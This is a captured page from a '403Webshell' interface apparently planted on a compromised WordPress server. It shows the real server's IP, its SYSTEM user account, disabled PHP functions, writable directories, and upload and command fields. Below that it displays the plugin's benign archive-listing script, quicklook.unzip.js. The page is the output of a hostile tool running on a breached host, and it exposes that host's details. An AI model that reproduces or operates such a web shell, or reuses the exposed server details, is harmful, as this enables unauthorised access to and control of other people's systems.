403Webshell
Server IP : 45.152.65.97  /  Your IP : 216.73.217.140
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1p mod_fcgid/2.3.9a
System : Windows NT C20260123164925 10.0 build 20348 (Windows Server 2016) AMD64
User : SYSTEM ( 0)
PHP Version : 7.4.33
Disable Function : passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/wwwroot/shujupai.cn/wp-content/plugins/wp-file-manager/lib/js/worker/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/wwwroot/shujupai.cn/wp-content/plugins/wp-file-manager/lib/js/worker/quicklook.unzip.js
var type = self.data.type,
	bin = new Uint8Array(self.data.bin),
	unzipFiles = function() {
		/** @type {Array.<string>} */
		var filenameList = [];
		/** @type {number} */
		var i;
		/** @type {number} */
		var il;
		/** @type {Array.<Zlib.Unzip.FileHeader>} */
		var fileHeaderList;
		// need check this.Y when update cdns.zlibUnzip
		this.Y();
		fileHeaderList = this.i;
		for (i = 0, il = fileHeaderList.length; i < il; ++i) {
			// need check fileHeaderList[i].J when update cdns.zlibUnzip
			filenameList[i] = fileHeaderList[i].filename + (fileHeaderList[i].J? ' ({formatSize(' + fileHeaderList[i].J + ')})' : '');
		}
		return filenameList;
	},
	tarFiles = function(tar) {
		var filenames = [],
			tarlen = tar.length,
			offset = 0,
			toStr = function(arr) {
				return String.fromCharCode.apply(null, arr).replace(/\0+$/, '');
			},
			h, name, prefix, size, dbs;
		while (offset < tarlen && tar[offset] !== 0) {
			h = tar.subarray(offset, offset + 512);
			name = toStr(h.subarray(0, 100));
			if (prefix = toStr(h.subarray(345, 500))) {
				name = prefix + name;
			}
			size = parseInt(toStr(h.subarray(124, 136)), 8);
			dbs = Math.ceil(size / 512) * 512;
			if (name === '././@LongLink') {
				name = toStr(tar.subarray(offset + 512, offset + 512 + dbs));
			}
			(name !== 'pax_global_header') && filenames.push(name + (size? ' ({formatSize(' + size + ')})': ''));
			offset = offset + 512 + dbs;
		}
		return filenames;
	};

self.res = {};

switch (type) {
  case 'tar':
    self.res.files = tarFiles(bin);
    break;
  case 'zip':
    self.res.files = unzipFiles.call(new Zlib.Unzip(bin));
    break;
  case 'gzip':
    self.res.files = tarFiles(new Zlib.Gunzip(bin).decompress());
    break;
  case 'bzip2':
    self.res.files = tarFiles(self.bzip2.simple(self.bzip2.array(bin)));
    break;
  default:
    
    break;
}


Youez - 2016 - github.com/yon3zu
LinuXploit